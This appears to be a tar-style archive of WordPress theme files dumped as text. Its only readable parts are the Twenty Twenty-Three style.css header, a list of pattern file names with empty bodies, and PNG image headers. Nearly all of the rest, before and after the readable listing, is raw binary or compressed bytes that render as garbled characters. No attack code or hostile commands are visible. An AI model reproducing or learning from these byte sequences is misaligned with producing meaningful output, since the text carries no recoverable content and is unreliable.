Wr^|W3x`!PM/uy\(:ocVԆoaoi.J~ֹi40n|6NvQphtĆGmup*YfW/рr z :9ũc(PD5`ҟ0WAضplJ`w bᛑL? h3G]mL4vUݨzJ3W  t%q~Fm{T;-: bؑS P6?, 鴗ƣO#֦EV?º))Bˍ*Ahnp1?6 ZG4`:"ΫLI$#Nh|t@B`%؛6|ʃٟ)ZuEߟty8x0h<yE eNmyh] "P֡yS-G[њm!KX\>vH+XΘO4T:`ITX@Ƌ<>9EIdQ-9A4e.n?^7r dS\MR>oX0 "? rp9a8}SjKͽ][ g/a'GtiθO0Ҳv2IKn)'}g|Wtݥ9BK8y:F#l&d/n NAtsm[ jq7,%Vq.p C`J2(lo`IC '4*7 IڢOh05EY1OPn2/u׽6Quvډg"#-3;DiEOz.a'+M͜:&PUytQ/m>/lAM윦?4Na7rMkX-ˀ1v_EɉTAM? SnrN<_( IBR)3)\b)vst0n<5 ~ *.fu^)jֆ2t_Όd2~cJGUj㼒=BҺ$d"5:[˔=y]ˈG{~GocW0mLK|D8َh\0a,I&[8Y$"+If]ֽW@Y9Xb-tgNl1m$2{ȋb^mxM 컆k+@ On̺+E'ruy6V!= MY>mql,ݢ7J̀QO8xCݔ$ХEck79=Ѷ&lr+iANXOnǶvKŸqZ˷23m7f=T 3 (8o@Aeid?j8nOi&640KdnZ,VE8iC)dis#C:cGuOd\]GC=(ne_s_$Mtʯxw+~ѫj i=)mnt̔Qdکiқd䥜a՛9dיZ M^fx0 Ly rRRwε?a>IKԟIiPFo9ӫr"A_jj0K3բNXˆK) L`mՌDz#~ }ӏـ288#9tFS @;c-6Ҁ~K!ɍ(١D?pgSwX߁sޙk3waZo6F^ٌެeNoS[yaU*{owOsH`?ɕ׹O,+x\{`U1kky:[wgkbkv$b4VO yxl?^$HDEVC 3e+='#NkO8cs\jUob-;o\\Y/7d@Y5gikI4!RJ[6Ջgr6n/-]ȕLME0U>\~4Т"ٟ'YߎaY;NkwBw}tſޫ_eD"nh,^՝8v3h<*%adFutE ̟)0[B;lA@Sv>dhnv3KŔ5 m4$'wFZet?ʍHPv&7)ӌIedpqoI`Efs_$.fAG Rl()Yb /8 wAX2f?yEۻ>ܱ06 YEb"aI/˰2[Vt(i,\ rJӈmezS$ury6~01.le dRJn Bg?5 bj>@~ ,c#p̎\=-ȘAڃ2Iʡ̟^Lҙ +R]>2USfM,TrggpXŅcI[v ! v9/wp3-xP|ɞ3H%FU)w/Wcv+d-Mw=$)T*8\_&(UxĻdpky.?ldUcb%4ŎqP03^swIyOcnVžC0Om4+%3 ӹu!q0-- $ns 7쌍˲!0) 700|`HxekĤQo%‚XI"բIMF wOFs.7fѰs>kIX"M'!J/Foy~U}SS m QףB0L[1jY[&PK8i|`S UCaZ q_1;ǖ_6T7 pg)Wffyéʉc@NRK9rlgo96Ɨ5ɶz\gH mx~X_>F#~[RFvq m5{^"К%U1ZZjϺ̂HxgvX =<.;ȞmkԅvFkFw  BA#ى?_ܖʭ΍y0ݳےZwZsƲowm|[7 "V'hU])܉T_þY+w*z :֖nFI),?%tknXlcBZe+U15״3kٖh\,K uz9jP+-UrJ=the[<.o Ni\(^$A+Kb8a bI1R,(7U̍a:i9]81A((lA;{zmJC])28:nrņ٦f1kzrfͨ)K*mewxۚI+뤸? #H[de 孄YI^ScW C>wrcT)m\:Z _]DKsQh#NPv}|o>1Uf'f X^RpJ-jl-rVB"꣏m_Aks?P#VqFr]9K~)afUtMLf<M+쉘VP¦6aaOʈzŧ|>Clʪ[H?lj׃_'LmM8ex6S@6ę[?TX7ĺ'456Qe>4etiq ~?L06Ju&{D6+esFNa8!MnAWFIe`jrpvZ)e$i\l8%ue/>eS>G Gs\|6ZoV<8tӲZb4(Q 0zgRJQӧj{W^hL_$:$Ԟnj55aQ_l[9jew*@wŊaRe&"(G7*WMzE7:RXq)XS~'Lo' 9.ėzQa$-ŭYEGgMYy΅>w%O;2-s֪:V _[@3[O_²ܚVoeǎQƹzFl夤_ȋ?/m\n3DEcY116|)1\xle0ҟeH?b)oԡMUbhgYrO?9GHAM'%'[mE~CU&#>˛G>WAڍ WZkp,Q]Wp<|oADzαwsY#H'D""\eE1c'kHydՐxi=GZMuwA辈.(ov.<8úbc]93Idҭ'gq}9(?)74xt͹:i`dāW.}^{>k!5hꊗ VJڃlU+"阿 'Vg WRɓ %A^'b'S0\ V7Nph\-Bݠ`:é7hzdhIx2h):=pނ=2ړ|]F1r^qÀgA>w_AϨL ,6p2 f!9=J<<ƾ0ќ6Ǫ^w~m50p%'}{|bk!dDWO/K!g1`ä%:+Ԋ7Zzio/`;iDިOSJ20Z -w J_ơPf oȟm) = pt> XWY 賀P:Wў9د63ODŽ63uфBpGn'iDZO.ߓڐ< M=UZa(|pOCuc\#=ee\-<rrĴ#hFZoy|cUv_ d}~DC(J}0ƟV`tIiT,Zz0Zޚ1}uOٹD@KȾq`p)?,1RC\Eʗ>+P2s.5dƭP iPͶv=$YrNGOMp.&cV~ѹ =49\-٧ES@D=ġZIRPs,T6’v`_N΍vy{HzhYkczǚQ?H_,.*ǵ~Ǫ%$x}(VdbH),n1y`{s/0}rav[21`ҮiW8|icS*(9 ?Ks$. -?e |$Wp40>$kyDھGz{=/9tύ@9iaT&Ek<!fŚZtR1Xّl/ LX'ϋ\R(XjNmцm4'B0gJjȀ3^Ω,$ggz.{nٓX]tV4+1}?If4">Wu_v;Y3茞ۺ_!Tlw9ޖ@2 ફ.fj;M7J.>B554GryUM7'hVh>:NA qBA#av/ܖx^|O.9gc֦F{񼧫;Ǭvbp0$$8mA pNtg}"Nl7 $8cS6QOlZ,/SwhғSk;GOqa ^v5R/4CŲ4Og\iyIUi 3b75A@YSkaΞW f$?[t]:4򰕩:M6ϟfwdTKZco֯)3hҎH U<4ŌKO)Y{zj,>j%+h UeQfvx9,`b#g!BxQդ~O"l~zqWZR XeZMjTB $>'$9:ExO)փܟS"c}4&t2?x&+GR3iվ8*[$A2eE_ׇ0U?9DOZR]O Va`Y"mKAAmAܱT3-lشr6ܺڦT&7Y ;:a`uMm 9k~"2;l):*K5M^ F=̋.2vp (^!~A0{c?͏㕐tL~T\>|5Z*3oxoP?f=~]$m ]e MN] / wCQWϷ27U]Y+gs)l3BY1Cͨ8*^豋L sor^!ƍ5zIS"U[]:)2:3 :0¼ʒO$--FS1ER4U1@#vEB Nl <~2J 6D01"W }95!9-N!3|(5lm&w8U1JqL-Xn5Sҿ+q9qqF9ؾ*M抗w6DӰ⍁Yv6ެ`@}МaQ8jUb3MT>0ۆ2rZ4c*:opT?O4yYiW'î UY]"7#nض}+^~MYez{Dlʄ-2-9}`*lc>0:QB3[dT/s*һm,qƨ*#e bCT8Tqۗi״$մGO^qgP uvyi[!Ѵƹ[&ోӯګ%@|]êP|[ga_G43%sF`w𷻭HrѫH8ir+@p{8T-Lf 0t)\X' K[V9#Rq HѠΠQ\ PÑԲp@¡y"}Y^%Ipj^Gp$"ew~y_`I֠OB,"CJ| L ~NS(١|Kb0TY56%CDxiiŷOY*"6% LTCMWǼ 3Ln.P`c%`0ځq,9U"Hdtg۵(/@֣cG/k[G]4to0=1|x2 ,MV]!K>(8aTKYӻ" Αjk)$t&CDeSƫ=ac$Xg[ J;騇#WILx2ݶG2_^Niy { m'wCNmsZ S.oXi/P7؟MӼqbs  X2gONm/@*raFhs!,Þ*q~JUB" }&4 En=!$cVOq؀[Dԩ.ςdJf7$WΥGBJ#snЌPv (<>7z|F^8q\}fg_/@ RLU,U7Cb*q^l5z>QdLwGC֯5RptC͜E?Q:Խ<%"ײFnLHnǘM?&e3Tt[z~p*hUԵ3Ri ٜd:a{"Jt*%XDE<+",Y* _*OtfΧҙ;; og#@p4!7$8#>sy#rKsB|KvoПL-s`l۲1fxcAEY$ >}պ_UMom?BOJech:u-0b8\5#N wYY8WIlL{k~[C&Wb'o6S?4;Tey2ꇣ*7%!Mr4GNŎ<?Q;zv$@^]0DЧl1M$ dۙA&~}WSmPԶ{ ZGԱ=n]ZI Cݭ'[Gc))f t SWjI^);rh%teo c;fZtj]-j.}k&U:i"ߜ65`uQ /u~/WU Y' kCz*H%L'ԻhMy=[WImw{b?'bmod:"Y"շ7cП*~wzjJξvscV&! )G|cf٘(C' B^=k(..f}P(g1A0 x5}w**dC`ݏ!"?e%&i4H+#tsfZ"0yd=BdD[uƚpߟכBl5NB&=y6F8RtzЃ`oٟ0%YUZС[r"xuC8_c?2 ANjXvDu1,`TlÕ ,ymb5l)2#:0AtbϪΓWsૈCA[g!jݯ`]  m<'߫j4r>%9:&ϏC?|y%|zwv;8)?4?|)-Zbvv7JM -z;+wВqb=-ӓC. B:]ہS~=+Jfl\$RHԉFBa~أxSoD(6JljG :?AXf26ϼTmĹwl\Ų?RvzD M I|QI|?(JN~Q>MT ׂ"jr˃t& MYMxNqLæ˾|~&T^* '03:Ir ?Ϊ0;lu-:kp:$g+;ULŒńjb]JLt}8[i^*udkQcnH&,EJ >o#Z:kN..e}` ?)\ש"{u!{3S3BJvЩYM ~bJZc*c223 {&"FF' | <][`lgy t$.ܶ1Vv 'Xn\}!wkڅudbߝ*$AnkrTpem_5eCQG r #k  FP464C&HIa鐝^*nWUu.h]<x\.}R@-Í{+~5ajjiúFSѮ' z8hSۂoa诐ʓ.C3ٚ)i)!VL*#tRFp|"TVnC,z%*i_WK$t,%0U]o(TTT>QGj+>x>_}*a+zKn. hY],@1Hk.a WoH9U[6q9̾-h[`34S?apxrh+)#4LB֥LUi|܁$\y],x&HzJ T.@Nh?01'GWRl_I|KF*ɼ6c8[?9au&(),EE$| \iFrrcJKfsY %"!~j1 ȣ%S+K-wwd_`ܓ QE~J>W"Bo)?({Bo eEGO#lGDYsrt~ ,BOϱ2֜(=B8kUiT4f #~ye\ԑݐg79Au|E俉HQ@#UQJ6FD(>)Cl*˩p(>a?ӽ 3^J 8i5LqAd@$ n]JbL=r;JҲRP?ev_MV tTF= z1@2)<q;bj?ղ̷ 5fn_%V >~<.И@&%dHeNҔQK֯;: u7J)ɑIfJ$31|vqdEbU Uf Ɩ]SIL{ q=0}ᣉjW!3јsfɀ19/ p-kT!RpT߿66lԳ+^ۋƍ&.vb;5;ʦ6ƄV5ϗý/갘qm ˯O\h(vތxk3 b;2)z!,"i܂&uZe+hR̽炸hz0 ~koMvϖi)ۗ%_YnقjXfbl/ރ`dTӍ$c'*6]{G:O)?r1q`F=[pm-DvorֵRYN釈?&1P`"s7eq̧M=M'4C:ShbC/ui|ɚ4>Z|:w YfRS4$b-%F&w…N[Pf6y{6?ڈ@ƗNH5-?$DY]TzLPy07#3 Ք܄"b'2>#9ޙ:P$<]u%Bu)dH\Pwv, *Y{qaZV)b x' k 5U\[Q'' lpD$|`i--DpH u n%5<$ݢSS\eɑԬX1؈w52, 5cF@ޕ)z2L4MP+ҨE=݅JUhv7*ZUTFr1VK#$[+uǁʐ1ht^uJ(66Pr"̛SJN0*U1-Yx/cJ=ڝ|B=ӻ"#G<$&6X!Xd>FȖRCJR$ ]t"^vPa ^aA;xBGA(o*)KߛYG/v}çCآ5PjKa+Y ~["H.9sJn8&wEb=G:\4:^4L-y}zec| ~jTHCx} ѷ#7(RZH.>b/YH' Y=ڡGY<~5yAZ4y8s V\)ɣuhnf6<^qܐ'0.UiO/G'z)FpB"dB!TB#t Lb( Op_nc3cod&˕k963k- *Gd?8Kr?60(dgQѝ*:-_l2cK-0 YB""CN7Jc(C%Z0:8Q5>ƺ m;CڲY^,>Ga1 RN؄8 BƧx\58; Rr63N9d2$dNOʁr^PAm!n:f Ւ N31 h5>&B.1k2g,x&F͹Px ^ 4CC ?M±D 1cFw3jiq;!/x2A6\ZOrOX kBQ&|,v0\.H5bYКd{`X$j Pe15,h>DCk$A(a{(yfL( ;%X %qB( $p-p^\%2u=c DkwXy6&!-sL~y9RѺD(y~)9qY$ /i~suDΒ1DrUz %A@Hw%8Z41 y`Z^PݡPݰX/ip7X?5-s֐J': 682 \'kf>rKk٘#lFQteZT_dt#!VTZKt䌬$cDޔ4G6AK[㘡:T> -lvM&a8k62˩fA-@-'4VSv K)l a10^$399fUSu.7dTɚf`:3B1th?&q$i 6&ܿq5%٦+I]R cNK +> ܲMe J%rR>JoPHU*M_1Tv)ˀRJC>Ooýnv#>z%rAf%/x[|vk;ȀF0RIRkS=\=RGG:A4L6Zj **hx 7:P/2ZMJ'Y> ~\Jup5k W;`h`0kFO"ͧN▨{"BPIZ>ҡG_'L)[4Nmo.IBZHRm٬*wKdV:ЦPhBߧ3gfY}7>/G굽 G>&hؚsUzS_ p `u2H{-?Ҙ!FoY"I1/,BIAoEZ8a"1fa tO b];'&Ho+N HKbYv{B5q"M,‡3B] =?EF7bxZ*::7!8ߘpm]V@:FAu-)ߟoCM7M;qPYhEi[S5!h_U!ӯ2!x~1H>:-8Kft \GH($):`4^Ы"4lJ2zqV}me+LϏM Jŕa|{^؂}xB+/JG&%F̺'QgGm'22~\6sa`(e'9H[D]C nuՊZ&Od fIY[:I# 09@N5 J T8JS dܫe@l҉ml=/]9#R;U%P\"6`U)i&$X1^ xP#.pC8!Vc%'o O냧++e ||Z~.G=yEV-..2RU֝%Z\.brlL&u_jxv|s际;e8V_ePc=uAukOcӇ`e{2I?9(ԁǶE^Coty%>oRZr%z|c8$os:YV?5^YBוW -<9o`n܄tyJˆh ڐaNc w`{3RЈFzWY/eWsB"f>?Nά!]eaý??7~J  D{L)`jIA - Sv~)x֜$,o?0OLDVX Ȼ=ht:0rxy#Fan QyTib(Bቊ1/ܬ<%=ن&]')f]%Zס'|®JL?ܰٹ ;tص"eu)؈fIje lx68cߙ ۯaHK6o{@}4̀T 5'`K%3.%в~OdrKj_3##>*r\M a8B)0l uM(('J~PaP E2jXAllyu2/0C Ù܄[N1>s.sNh'iՙ%[b1ްrbg}cqX[_S` 9UUx g/kv9 !fhBԛ +L8Q."tD"3la1бW5!; #aM0njf\9SN:ft5pcqI,M>t,Miv(#H|>:>m3 5TKۚ{'Jq`m"=^toɾݱ J7Ȟ 8qvk׭ mﻌ7 J'6t ~jB 2*jHBbW C Z_ ӏ mRA2% +8jQG.Xmr `4MztN9[/34Dm#SCd F`uu"Ӑ =*;&FVB:x8@*%oÃB%IҬ/\ocHJ<[!ȃksu Yq !N$>$[ ʷH~nKO>EH9$#A4 x7Llf䙠?-pyDŽ "\~nLgބ`PB "HT:%9!f’1PGo #d2@R"I m-§HG6D˚ ELlԱL覓Z\/"Dbd}Rӯ*"ӈ6m%9& gN$4  B PHhEA[~&K!f|?/o9<ޗ{C.SYwu_}WaB0P 7(k \M‰\7r%J #[Lmyl܀M/@w[" d Lmczxx B]?SoPP0eG *c9mVҮnsT\tKce+v=ji5b8 G׸M% d%X/-@ZUk"$(6#B}TMrd3BYPaIR8T+i XyTwrXmZx5lٵ"m[p-I':-?$ %PrX)Pٶ$Zsk JOh*hAEŤ%ڷ0ф1H(gKDÒH:# ?&؋EAW{[FOE3*"6:Csهn**x8"`rb)ls՜,0_b;, Aȋ$ѽb͂?u~DA9DAKeڍ$ o/HhCmD1#]x*+ C.hGPQ+'e[J&/Bc3>hy3?dKwQ|\k~<֦<@8W0PfjYLggJ#ga~#킂ЦpwpY/tha>&vn~rx+"@xHL="̓?* S̛I]t.Ef8*Ij=01S(~k+("¬ӎRli;vdvmAPD ܐnNAk a-rX$n"a2qj. G^!q~;b@byXG<~`v=: fz#_ u&nc+Tm$Z"KaiH"tW<+"2O-v(J!@Z3tX?nAƜellF+s2i/k7ѱ #.>ᑵ́.Z0<9QL N^5(  ++l  '~qn]Fm/1J388Pqd!HQ|^Բ"בLdxK:gm>> е'qSBuu)}jlб@1^x/_G nrWoǷEgԖ"ZԃbD ! ý/}2_RCca"PCWfh^O/?MAmAaS2wnMŊh/^`ǒ?^@q!h4ns5,Z腃o!ff2r4v-0A8M㮏"Ju8hI5xv9 ^>mYJX}N ˔7,W;Ja_^ r-$:zu,kmU@hE$7m9TdLgZ -+4* x%ZՈS+ޢ颕=vagGa|5m͵_bq],p+5 )5T|uB"DdWH8ŝM, 3(PUK%aޑ:EBHd$)ӊSoBQV\hvaђt]W/)?襸A-HnjlgyRjM4 Sc;bkѼkw9& C@v^t6ŨA!C򢩓^AC MbHVXaM\>P}P+։8h!]׃(<ׇP4DC`"B(te]8p @\H@}dg.tM:S"1KʃxrYkbؘ޹2e/a|\oYB$H0Vr}~C, &&y0Y,,i򤶸mpf!^xظ-amAe-VNc1+;mXWL-%ƖFYZHdUJX@Jmگj ]t:p9fO#~iBf|0.p3_nR}׌ >6F%7K(X2R$ežM=*q`[OU 8Rn_;0X U(MpX6Ag1 @nSMQpƻN[ (۫Eʺtf,ghgP#I`i^9Nle%A-َ U($_MP aMvs,It-p#bݕzS%jˌjPjcr}+ ۲xHVcn='rfb1:~7x0GH&Ad\Syp8?,Gy#ͽL8]2q$rZ7ACۙE Zo0`GU$Y \ 51Rѽs\d60/66p zǃ|Z:z_g@؛IN@7I gj6T)4@6ndhlG$k1; pH^ LeA,O t8c$W8W \"$,-%]|"-R0L0S, %1䜿.ԏ$ںrfJh%SI~BykKN` S, ;QM!,V@u ԋЮZhX3/iB}x9ƛ֜OK_i0h*jS"b L*?kĝyljRmHG},(♜)0 xs ASdDP(LJ<.'%r3?]CASV.u|΅smRPʗ7w0SDmRYq?k/ h ii";EK* - dw{Z Od|y;4{;l$?#8fZr7 Eע:{)Oe;2Z)Q %EڒuKAL.h,(#{}D-;h ۡ7x q1>zn_{&cZ"fv]ɤJ4Oqx9l>vVa|1hbfx?TPfl њ#C $&@I2tgSPm-#EWl}ʚpf0&01 B5ˎU =:4 9R ZRVaZ4bEuZ =SLmLښ J[$ ~+®Z?0Kx9pWOZDGiEFU6USX¹!B6;֫K}YX?0U] wVEC* juf912 M/pm&9 %z#;5oHʅs˿vq3x^WD\zD FNBH,} |3,^ë?\蕭51%/q9}o)oՍ!=?HpBLaF,bPu폧P &KNmtꂫ.6Pwn?鳒ټ{>`Y66R.2}?ΏU@$ @C#?*?\lvj/dcd"?>Z >VK@iA&24V{/ ٪X\3؀f|o,#_@Ϯ|Q2ү<o8I!};^Yeʧ퇪}T*eHC: U9b,s`Aݟ34JVR*c8#ZQg7s/Rm%]\)i:B#,Ը#NykCcRpdrv.KTۜO{{xTK'@z 4dd "aNO"  a?fٕ8O|A7=qU WŹwX z%Oܤ68/|;k >I ]7`wqYxq?;b*=hpG><z@-Sޭ\sh`@F"y/cm5W:'՗S2P|ڸa~~ڿ 7SGjb#I{j1Tf 5(0`` CNI|ws=$x˹ߦ܆8وTIѸ''D*&PB\+x8!*͑d\"OD 'i{)ʶ c*~"ѢUE刭bI-!r4|&*"jc$LC+.5b:Cn#CL/J|WECƜٷB/9eVY8{3j-ܢIݼCyՋz-UD*1CZh~F_ry9#: U^=Dmtf>!6Ite ^|7L~ ["_˴܆ K&!)N 0߉E;6?ō`?%~\WIT!h([j5kù^<嶳NʥGi:fŶiݞ0Lz=&2 lQ9}EL[R8 7.Jĭ` H/GU9uV?I%^ \y;Se-U7IYlTsz9+{:LY*_C{TKQ &PI8ϏtNDw)~Ck*2 d3Äg+DDƎf0|'jI|ڃᗢ+ҝ=J/ۣO* A_$JQa2r-4qc|#"'%E.:ꪪ' YI*C46BS<2@Ѕ]@jD"&)~a&*&UZ=MXÒ_ILJ>*oOڟ >>@30Nfh s-)0T TRjDj1 $jm9 ssadoșaηru{"Pd+qk2l~B+^VcY)VKa`~u#`fDB+QH1T73tbeqjk疽3.\ʁQN $Ro2roscC8U\S~$"`"wDGM<5R+,N,`|>uׯ[.:*|R-%c[ɵ(jRZ*K +A$pHRPPѪ& zJ1 q8' $"&!%#*Z hhdˡg`d1Gb} n(2&6 <|r[+Q&+ojT4E*jԪSAak eZ5]fѬfLF^3kt`XhQ'-Rz?˭hVYm}܂6OEs,FlVlN^zgtVUjuQncN88.ZA\vznwW 7rws_x=SkШIڴs]z(3zF{+^NOzwO>k|?{__z],+AAXITɔ\)Rs!_ 6iFGjzf$ 3,6 "D*)*uzFfF #($E3, $+F&j;.p NߔJgY?Ƕf隗?ƓlX֛n8Η?˶?${SK}|Yゥ3>7$0iaiemc!m)מI+m[~dh2[6r{ƬI\.>jTDR+6HerRexNofna`m?+w-o)F,ʿekzκT1v >v%:X ,E23[H-2KH{u.ƈb {[?&lk +.Z:MܨU$'!tT:ۼSG|\6]xQCZ;sJp,uծ*cTCn_9IhFvoG{hk6u bGHpڦ7nR1 Rmhkx$7Ȑ!<;SR] =1ڤFcEW!^<F%@ڲ4#wN7%q55Mo  g Kחdɺu4+ &]cOڧߨP`-E Qw7HF 8w`;F{~-"<{I#͈E6+>OG=ٽ/шFrcNXrVU&grr6 G`DSqI?q 杋'; vD<0xLK" }<R7d&A, qx2B*m7^!k@DDDDDDD\GqÞYF$FȾJP:J0exg QUDh o5*ȳbk:I5ƫNtIVUQ $7L y,!r ]uήQ&L&Q(L.AfAK@!L8\.Y6-2Wwa9k)ü^99Gywޟ)1RwTFG;:k0D2B*9g(\F<%# f{agYFx:9v==uGb7=̭2.44l^FK~m\v>vBJEoٍ*Δ>G 6PxEn"+lKjC/DWerGʻ01ZҜC gᥬFPˁ Z1&;m\S-%p}6!ChDbSע`4Laეk _{0eX*yoKmn|'0aDi*F!(Swʃ=/):ʪA'"N1A&zN$*f*~ҏ)f|TU,:%#&7ȑ\G I 7}%!~-_i9themes/twentytwentythree/style.css000064400000002132152335264760013553 0ustar00/* Theme Name: Twenty Twenty-Three Theme URI: https://wordpress.org/themes/twentytwentythree Author: the WordPress team Author URI: https://wordpress.org Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6.1. With a clean, blank base as a starting point, this default theme includes ten diverse style variations created by members of the WordPress community. Whether you want to build a complex or incredibly simple website, you can do it quickly and intuitively through the bundled styles or dive into creation and full customization yourself. Requires at least: 6.1 Tested up to: 7.0 Requires PHP: 5.6 Version: 1.6 License: GNU General Public License v2 or later License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html Text Domain: twentytwentythree Tags: one-column, custom-colors, custom-menu, custom-logo, editor-style, featured-images, full-site-editing, block-patterns, rtl-language-support, sticky-post, threaded-comments, translation-ready, wide-blocks, block-styles, style-variations, accessibility-ready, blog, portfolio, news */ themes/twentytwentythree/patterns/call-to-action.php000064400000002521152335264760017062 0ustar00

    themes/twentytwentythree/patterns/post-meta.php000064400000005251152335264760016170 0ustar00

    themes/twentytwentythree/patterns/hidden-404.php000064400000002606152335264760016020 0ustar00

    themes/twentytwentythree/patterns/hidden-comments.php000064400000004134152335264760017334 0ustar00

    themes/twentytwentythree/patterns/footer-default.php000064400000001732152335264760017177 0ustar00

    WordPress' ) ?>

    themes/twentytwentythree/patterns/hidden-no-results.php000064400000001307152335264760017621 0ustar00

    themes/twentytwentythree/patterns/hidden-heading.php000064400000000674152335264760017113 0ustar00

    themes/twentytwentyfour/screenshot.png000064400002600243152335264760014441 0ustar00PNG  IHDR>_ jIDATx@oKYX4FiNYS94\1}gsOcA @ B!A @ B!A @yA @ i5mJ)~t xDJi8s#e4۳٬ 7`0X׽^x<9>|Z(>f~XċZ۷-K).}Zkpa(1"nt/hM]?̘x?7onzû 9Oas>0P(  Qu\PxLxiG2%hq!_-A|XsHp͡)z4l bu(Wy ";';C]$:*E =H؄}lᅩooo[~=zUg:C` ^g8`Ji v%sC`S$3Fd[SEѹ{!zW[1x,DdXF3(\'CP( Gڲt#I02 BmS 'ټ ]A½b๒v,  i1nYzE\IE|% Dv[Fd8zʽk~AO6uoRnep8Mf|eDFihɲuA7 8{lApm)e-~L/]oe2gB닜w#廛Վ\,b5$>"1;4ݻ=peAb(У际 ߺuKu5Vֽ(_+BP(XEG#md!@<"y0:w򵊁oʀ" P>'1 '\(s&)MM/X嵂]AoG ᐗrfm-yzQq6 "@Fz[;h!nSŏat*(4ki;DuNy)Eiuet@4sh`JX1r*+!ג lt>pP>[׹jbS$F_ !1f̒%`iDV:/, Bol'w1Q_5$¨O!&.{U5tPo_ie៩AmR+X:f|,aϞ֐$@Fch$9l]B%+ 4-Ѧ+l%.K&KqsiGTu'3p|f(p.7ttvd)g>?^鄔'HcQM/1 ]nҮ>>2rEMRZ)۹IgQ HcRƧ >}vE?>7;i݉8~3P 9xx^C̛.\hh_?ALezl u@)e v=AK=F!OɃ Ðyow4ݐ)!ƦU۶`q? !gcc,#c'o|xx8[!N B!A @ B!A @ A @ B!A @ B!A @ BA @ B!A @ B!A @ B!@ B!A @ B!A @ B!A B!A @ B!A @ B!A eYES&0I1ep.>5{}} _9::JMa4aXV1T<01u]bq}} X2 [۶s`nnnR 2Laz]~ >6ALuA*bxj/~t.,| mK.40<{{{;;;x\顪epyy~V:~0xm~e^ogw=[Upm_!zuh h4Qp͛7/n/~bL%!j?&wZHR#vM.D "WA+ES>|Hia(Yc"n- 4PK6F2h4Fc/g=Ny!ר)j$Mk#۷og 8H&Y -8qf#ٕ}̵2~%Hv +r($ ؓU9>>ѡCHgmѤ2* Sz (6/jvBìIͅƼj,-NJx,xlt s~׉~ܥyZ/..RC6O1GKV܀xn&PP$ULY4*LU㱤$#٧Gg`~qW?|{Oד&W1f| F6eJpǪQql j0Wj?Vx F.+14rl(.XZ^)qZ@.fz`LfiJ!Y( ̋'u [ LmQ` M'2M֢k׮ &cWFfM"ʤ(Pcò+=W3]k3Fv ӍςR;nndO1Ibdh48JX@Y $wdV IUcI$FiXvP$h4CFрCѠggg+!Ł*PRc!NHgFE$6Pp+j ;i, Uۖ=,dVR᪸SSҜXKo4Cc ɖ2lEKbCpeLq<WvKu8àX7]:Mlr"ָqa%`p4PʓrBq6{nvst4f>fG sBru,Ǎ^{Wt,K9ԵlvcMTDhAh4dN:H(eoɜ Y[U!8 NY󝜜B"P-Tth9E̸X#';\_AKYiJAcfGK)8?w) y7RsY{V5CcbY1Ȳ^PK5|_T7g=ϸ3@8hⵅ'1<~uF6>M6t.Z5D'S"_{{Ksh5jV6MV:',e5BVT/hT8886Dž`HCvjiEksm ԢǪlQ]ڵY3P15{u8!#$!\`k%IL= Ch4-ƠH LW!JKVa޿vh 4ei/_\N "|4=Nɱo-P_| wYqubᓻn.4Z.r<\ҵ TQaϴXQPwϸ*1QQz:h" <F Fpӑ-y+TbZZFp)W-Bm⻱sAvI& Co8Yn'UIB_uYcpUDIa1_hy[ub&1h4Z6[㮜5"_5ǷY18.] _:;p:v\=,꫓ԫYqfMqNBՐ&ȸAl4 a5r ֚[ߑ D7o=mt-pAIi{]p(-ֈz# MM p6FϣPM``˃eHz=)p7Ȗ6t^7=0}Ab{UOzA2 wr<`pNu&ޛ7oZ F׋-aB2K Z8N$u-QV韞i>NW#*I1>{QQDk9뒵C7rT~lq(q-\F F1BC&zѼvVవdtj_ & l[ొ[Uxg7p&V/^ފ:أW<?λ߀,&qP.Gh l4~VݼN_@E "AxYUdnvk1dO`gw=Taz.XؑW; tĠ"2X¤LܦPN8Ca8I'Z.æh l4 K8W֜f{4ޚr5 N&wpKƹ6&cUSQr}kbPJB→~E2$mB*j> ,u6.n0_9}h l4 I*8ũ-0m [%gU3l^.Afˡ69NZΦ9??fR7EP[ Y7y}& (AdR. CLpRVe/Z\n=]rxl4*7k;赖5x$.Mycl[xQԅNSRIoxŒh4~v~h-Twd^Xp<6LNbXfa@gy6W1 FamN@rw~^èư14a(=MorxրISc%CpxrnA@Aa^!8 2]/~DGGG<l8 Y.eY=<<}O?@}q9MQQ!]~{Au]jf:~"u]pjZ,vKJ):wX* ڶ󅑢 xNQ8$8    HNs/yˤz2{?9f{VUGn Tn޼O3^sLeÇ{#uڕ+W޽Wy3e->#'h=x@(^³o!nݺE;Dy ❾Յ>|oUM:^Q qp:;)3c'cϟ?k%v!lB`"3c&nfܧ%۷o *WHYT&y 2l`՟ߟ>}7-$ᒸs搋>eLTDf˗S9D -yE]/^ǫW%3ɷAݻ U`9-wBKOOO˘1}Ԃ-~rrOUH3.0D=h۷o{<BKFC!a^3Cef6`&I\2}״ҥK"%akP\!$P((|0̢ af?;2ϟ?S$ O "\7PyOGu]vϝ+x/_Ld"n<S* 둣 8]Z1C0`Kcc4Fl?,m5ؐy yx 4kD nBB@ 0}Wi'53-&Rr̆5oT~2't[sא ceaz=5LOCS* 3xF$3EPS1B~z+ϟgYnN)7HXьzM*,F)IHѿ0ί RpY^l;*όO&q2!]ABI+̟of^VFvdy!߿gSo+O/IV )A']A&!(C!xwS[ ::ڄp#&tf ܨ*'duzcx|;f\72 P(JzB1M%M%%֞ L5*4x/\vb8rªA¹TDGqN7ʵ61<>}kN+H s,[p4r9IZnB !'tH&љHcJQy/gO/0p,93$x*Mfz>"{mBr$Vϟ?/N6`9{ qmNv: A67HS/ݞf$.JdG/Ba'C= $ڻC!BaAUC).5Ϟ=cZ4偡&f)õfUì}LjM)B5|)>B+\@wI^Irϫ[򍇴Tc(L TRd-L1}olƧ/ⷈJwv BbϋYnÔUPL2M|1q"qLڣǞ(޽{c%Ĉ.!ABG0/KI0@b KaZLDI~lo ) N\p5|||\J:;GrWǧng8}h:1hKy>vz{?a0NcaZ8xyөY59Aց,pyA'&/3/v<' 6In.@ L&Kg(7 3JN@ Bͦ!P|޶d /56V-@0쾬dBv4yUU!@j:x\&l*(0UUN!@۶C,CX/zssul6:} !   gggMӤj4]]]pd4PPq.ƛ&7fA\b>ҏ.eut:L&q󘚔SI)]Ed C @ ~KCXrcFtuj'UM #4o0;u8Su ʂq يC+^N7Nb #=6/ϋK˜8E7"d yfG]rO"!߻gCDŇJΙ,KhtAh4`ssf/Y(,[*̺.K_~-L d̷`$)D൮c|}.b_ #e Y ~WT Ȏ '@V"McN TL 3A@P?,i42dѾ_u(g_^^+ҘO[C^h(f, c,%sgjqgg T 